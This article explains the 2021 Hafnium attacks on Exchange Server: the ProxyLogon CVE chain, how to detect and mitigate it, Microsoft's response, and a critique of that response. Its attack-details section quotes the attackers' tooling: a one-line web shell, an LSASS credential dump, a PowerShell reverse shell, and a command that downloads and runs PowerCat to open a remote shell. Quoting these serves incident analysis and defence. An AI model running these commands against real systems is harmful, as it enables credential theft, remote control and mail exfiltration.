HAFNIUM EXCHANGE SERVER ATTACKS – What happened and how to protect yourself

VULNERABILITY

The current vulnerabilities in Exchange servers allows attackers to bypass regular authentication and log in as an administrator of an Exchange server. As part of the investigation, security researchers identified another vulnerability through which an attacker could place files for remote code execution in Exchange. From this they built a functional proof of concept exploit with which the Exchange authentication could be bypassed and the server therefore compromised.

Since an Exchange server has high rights in the Active Directory, a successful attack on the e-mail system also gives the attacker the opportunity to attack the Active Directory and to access and change data as well as to attack other internal systems. Exploits for the proxy logon gap in Exchange Server are already circulating to where ransomware is also emerging following in several users reporting encrypted files.

The four vulnerabilities form a chain of attacks (see [R3]):

CVE-2021-26855 is a server-side request forgery (SSRF) vulnerability. It can be used remotely without authentication and without user interaction. Any HTTP requests can be sent by an attacker and allow him to authenticate himself as an Exchange server (admin).

CVE-2021-26857 allows an attacker to run code as a SYSTEM on the Exchange server. This is a vulnerability related to insecure deserialization in the Unified Messaging service. In order to take advantage of this, administrator rights are required, which can be obtained via the aforementioned security gap or by compromising the access data of a legitimate administrator.

CVE-2021-26858 and CVE-2021-27065 are a post-authentication arbitrary file write vulnerability in Exchange. They allow any file to be written after it has been authenticated in Exchange. If Hafnium could authenticate with the Exchange server, they could take advantage of this vulnerability to write a file to any path on the server such as they could authenticate themselves using the SSRF vulnerability CVE-2021-26855 or the credentials of a legitimate administrator

ATTACK DETAILS

In their blog post [R3] , Microsoft is providing in depth details about the attack to help especially customers of Exchange but also individuals understand the techniques that were used by Hafnium. Therefore they desire to enable a more effective defense against any future attacks against unpatched systems. For those that are further interested in how the attack looked like, the following shall demonstrate one example of a web shell deployed by Hafnium.

<%@ Page Language=„Jscript“%><%System.IO.File.WriteAllText(Request.Item[“p“], Request.Item[“c“]);%>

After providing the web shell, the Hafnium operators performed the following post-exploitation activities:

• Using Procdump to dump the LSASS process memory:

C:\windows\temp\procdump64 - accepteula -ma lass.exe C:\windows\temp\lsass

• Using 7-Zip to compress stolen data into ZIP files for exfiltration

c:\ProgramData\7z -t7z -r c:\ProgramData\it.zip c:\ProgramData\pst

• Adding and using Exchange PowerShell snap-ins to export mailbox data:

Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Mailbox&#x0A
Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn;Get-MailboxExportRequest -ResultSize100

Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn;Get-MailboxExportRequest|RemoveMailboxExportRequest -Confirm:$false

• Using the Nishang Invoke-PowerShellTcpOneLine reverse shell:

powershell -mop -c “$client = New-Object Net.Sockets.TCPClient(XXXXXXXXXXX);$stream =
$client.GetStream(); [byte[]]$bytes = 0. .65535|%{0};while(($i = $stream.Read($bytes, 0,
$bytes.Length)) -me 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString
($bytes,0, $I);$sendback = (iex $data 2>&1 | Out-String ); $sendback2); $sendback + ‘PS ’ +
(pwd).Path + ‚> ‚;$sendbyte.Length);$stream.Flush()};$client.Close()“

• Downloading PowerCat from GitHub, then using it to open a connection to a remote server:

IEX (New.Object System.Net.Webclient).DownloadString
(‚https://raw.githubusercontent.com/besimorhino.powercat/master/powercat.ps1'); powercat -c
XXXXX -p XXX -e powershell

Hafnium is also said to having been able to download the Exchange offline address books from compromised systems, containing information about an organization and its users.

DETECTING THE COMPROMISE

The detected vulnerabilities allow attackers, even without credentials, to read mails from any mailbox, to write any files on the Exchange server and to write their own code on the Exchange server in the the context of the system user. These three possibilities should therefore be checked for example by using the methods described below:

1. Reading emails using CVE-2021-26855: The exploitation of this particular vulnerability can be traced by the means of log entries. In the case of Outlook on the Web or the Outlook Web App, an attacker uses POST requests for static content under the path / owa / auth / Current / themes / resources.
   With specially prepared SOAP payloads it is then possible to exfiltrate e-mails without authentication.

1. Anomalies in the ECP server logs: Notes on exploiting the remote code execution vulnerability can be found in the Exchange Control Panel server logs (usually found under \ Logging \ ECP \ Server ), since the exploitation appears to be taking place in the context the Set-OabVirtualDirectory ExchangePowerShell cmdlet. Therefore it would make sense to search for the string S: CMD = Set-OabVirtualDirectory.ExternalUrl = '". In particular, the string “script” within such a log entry could indicate the exploitation of the CVE-2021-27065 vulnerability.

1. Search for webshells: A typical approach taken by the attackers is to use the RCE vulnerability to leave a web shell on the server in order to execute further commands.

The following webshells have already been observed in connection with the exploitation of the Exchange vulnerability:

• SIMPLESEESHARP
• SPORTSBALL
• China Chopper
• ASPXSPY
• reGeorg

Therefore, it makes sense to search for webshells both specifically and generically:

• The YARA rules under [Rot2021b] help with the search for webshells in the context of Hafnium.
• The YARA rules under [Rup2021] help with the search for generic webshells.

In connection with the Exchange vulnerabilities, ASPX files in the following directories and subdirectories are also noticeable [R2]:

\inetpub\wwwroot\aspnet_client\
\\FrontEnd\HttpProxy\ecp\auth\
\\FrontEnd\HttpProxy\owa\auth\Current\
\\FrontEnd\HttpProxy\owa\auth\\

The search in the following directory, which contains ASPX files in a standard installation is somewhat more complex. Webshells can also be included in these legitimate files by adding a single line to them.

\ \ FrontEnd \ HttpProxy \ owa \ auth \
(➔ Files that no longer correspond to the status of the standard installation)

Internet Information Service web servers compile ASP files into temporary libraries. The files with the name app_web __ [a-zA-Z0-9] {8} .dll could therefore also possibly contain a webshell.

Now what do these difficulties tell us about being able to detect the consequences at all?
Why can everything so easily be overwritten and why can the basic systems be manipulated without much effort and without it being detected?
This shows us that nowadays companies are stuck with the problem that they no longer know what is still correct and what is already compromised.

Review see [R4]

METHODS OF PROTECTION

In order to early prevent or detect compromise the following methods could be used:

1. Watchguard Security Services

• Intrusion Prevention Service: IPS detects and blocks the first stage of the attack in the exploit chain. The prerequisite is an activated HTTPS deep inspection on an HTTPS proxy action, since the attack pattern is of course only recognized if the firewall can break the encrypted HTTPS stream. Signatures [7]:
  • 1138767 – WEB Microsoft Exchange Server Remote Code Execution Vulnerability -1 (CVE-2021-26855)
  • 1138774 – WEB Microsoft Exchange Server Remote Code Execution Vulnerability – 2 (CVE-2021-26855)
  • 1138775 – WEB Microsoft Exchange Server Remote Code Execution Vulnerability – 3 (CVE-2021-26855)
  • 1138776 – WEB Microsoft Exchange Server Remote Code Execution Vulnerability – 4 (CVE-2021-26855)

• Gateway AntiVirus: This method contains several signatures to identify and block the web shells used in the attack. A prerequisite is an HTTP proxy with activated gateway antivirus and, for HTTPS, also an activated HTTPS deep inspection on the outgoing HTTPS proxy action, which regulates access from the Exchange server to the Internet. In this case, the download of the web shells would be checked, recognized and prevented by HTTPS servers. Signatures [R7]:
  • Generic.SecChecker.A.7CFC55B3
  • Generic.ASP.Chopper.A.65171474

• APT Blocker: APT Blocker detects malicious PowerShell backdoors. A corresponding proxy action for HTTP and HTTPS with deep inspection is also required here. The APT Blocker in the TDR host sensor might also be helpful.

• Geolocation: The use of geolocation can also be a useful hurdle. Geolocation in the Exchange Policies have to be activated with restrictions only for the countries that are relevant for one individually. For example, only allow Europe (in regards to the IP locations of the customers’ email servers). This is however not a 100% protection, but if the majority of all IPs on the Internet are already blocked when accessing the OWA / Exchange, they cannot carry out an attack. The servers would still be vulnerable from the system in the permitted countries or regions.

2. Access Portal in connection with Microsoft Exchange (Pre-Authentication):

The first level of attack requires an Exchange server to be exposed to the Internet (for example simple port forwarding with SNAT). An easy way to prevent this particular level is by protecting the Exchange server behind the Firebox’s access portal. In this case, a so-called pre-authentication takes place via the access portal, so that only requests with valid credentials are passed through to the exchange at all.

This has the advantage that the authentication is carried out against the e-mail domain and the Exchange can only be reached via https: // /, but no longer under https: // ; to where a pure scan of an IP range and OWA instances running randomly on the IP does not reach out from the start.

Another security mechanism is the help of reverse proxy actions in the Access Portal configuration. Remote users can establish a secure connection to internal web applications and Microsoft Exchange services without a VPN client.

3. AuthPoint

By registering with an additional authentication factor, one can additionally secure web registrations. When the user tries to log in to an application that requires authentication, the AuthPoint authentication page appears. To log in, the user enters their AuthPoint password (if required) and selects an authentication method, for example a OneTime password or a push notification on the user’s mobile device.

HOWEVER: It is to consider that all these methods are only working in retrospective and are not preventive against zero day exploits

Review see [R5]

MICROSOFT’S REACTION

In order to protect their customers, Microsoft explained to focus on the exploits that make the attacks possible in the first place. As mentioned, Microsoft has soon released security updates with which they claim to protect their customers who use Exchange Server. However, actors and criminal groups act very quickly to exploit unpatched systems. Therefore installing the promoted patches immediately is said to be the best defense against this particular and most attacks in general. Microsoft therefore advises all Exchange Server customers to identify the numerous vulnerable exchange server and install these Microsoft issued security updates immediately [R8]. Also Exchange Server is primarily used by business customers. There currently is no evidence that the Hafnium attacks are targeting individual consumers or that they affect other Microsoft products.

In March Microsoft also released the One-Click Microsoft Exchange On-Premises Mitigation Tool (EOMT) [R9]. This tool is a response from Microsoft to help all affected customer to immediately and easily update all their exchange server with an automated solution for both current and out-of-support versions.

Because there are a lot of Exchange Servers running out there that were patched in March 2021, they are not completly secure, because it wasn’t until April 2021 that the vulnerabilities were silently patched again. Anyone who administers an Exchange Server should bring it always up to the latest security patch level and also prevent it from being accessible via the Internet.

In addition to these protective measures, Microsoft also informed the responsible US government agencies about the activities of Hafnium. This is the eighth time in the last 12 months that Microsoft has exposed the attacks by national hacker groups on civil society institutions.

See [R6]

LEARNINGS

To the best of recent knowledge, some of the security vulnerabilities have been known for a long time. In addition, Microsoft’s warning management is unsuccessful in this case. Zero-day exploits can always occur and Exchange Servers that have been used unpatched for years are more critical. Some of the gaps from the beginning of 2020 have not even been closed yet by updates. One can quickly become overwhelmed with maintaining Microsoft Exchange. A solution could be for such companies to switch to a cloud solution, to get an IT service provider or to change the product.

DISCUSSION

Despite several warnings, patches and available resources, victims of the Exchange Server attack might not be relieved from consequences for an extended time. It is up to the affected organizations to identify the extend of compromise and realize that the applied patches might not be a long term solution. Those patches were released a considerable time after the vulnerabilities on the servers have been exploited. The minute the updates were applied there is still a chance the system has been compromised.

Additionally it is questionable if the proposals from Microsoft to prevent further attacks are actually helpful and working. Why is the server unstable against the attacks? Why is the server not resilient? Why is it not known what is affected after the attack? Why doesn’t a program have metadata about the permissions it needs? It appears that Microsoft always tries to butter up their clients yet they haven’t improved their foundational issues in recent years.

Additionally, many companies might have still been working on the response to the Solar Winds compromise to where teams now being hit with potentially responding to Exchange attacks might be overwhelmed.
Rubbing even further salt in the wound, patching and remediation could become exponentially more problematic now that other groups are also piling on to the vulnerabilities first exploited by Hafnium. Especially since most organizations don’t have the capability or lack forensic knowledge to get in there and figure out what the attackers did with the backdoor.

While hackers continuously grow in sophistication and impact, especially with state-sponsored attackers like Hafnium, it is simply not realistic anymore to assume that all attacks can be prevented. Therefore organizations need to increase their foundational cybersecurity capabilities with modern, comprehensive threat detection and response tools to detect attacks in early stages. Such predictive actions cans serve the right means to shut attackers down before they can do real harm.
Also the current vulnerabilities in exchange might want to bee seen as only the tip of iceberg. Many future attacks may be upcoming. As an example, while a security group was investigating the exchange architecture, involving server-side, client-side and crypto vulnerabilities that can be exploited through various attack chains eight vulnerabilities were already discovered at once [R12].

Many questions therefore arise: Could Microsoft can be held liable here for their actions. Did they take the loophole seriously (enough)?
Most of the time such cases are though documented in the license. One is not liable for any damage and does not guarantee the safety or functionality of the product.
For a company with a market share like Microsoft their actions were yet rather negligent. Almost two months for a patch of a remote code execution vulnerability in a product that is one of the most relevant components in many companies is a long time. Even after Microsoft received hints from several sides that such a vulnerability was apparently being actively exploited, it still took over a month to the patch. Sure, a patch like this can’t be released within a day, but that amount of time it took them is ridiculous.
It is quite interesting how Microsoft will continue to be the market leader and their mistakes don’t seem to matter.

It seems strange that the world is talking about huge damage and dangers with mail, but mail end-to-end encryption is still a marginal phenomenon. Yet it could also be used to combat spam very well and the mail servers would no longer be so attractive as a target.

According to the german President of the Federal Office for Information Security Arne Schönbohm, many of the german vulnerable exchange servers were already patched in the first few weeks of the discovery of the attack. That shows us that a rapid response is possible even in Germany, but there is always room for improvement.

Pages: 1 2 3 4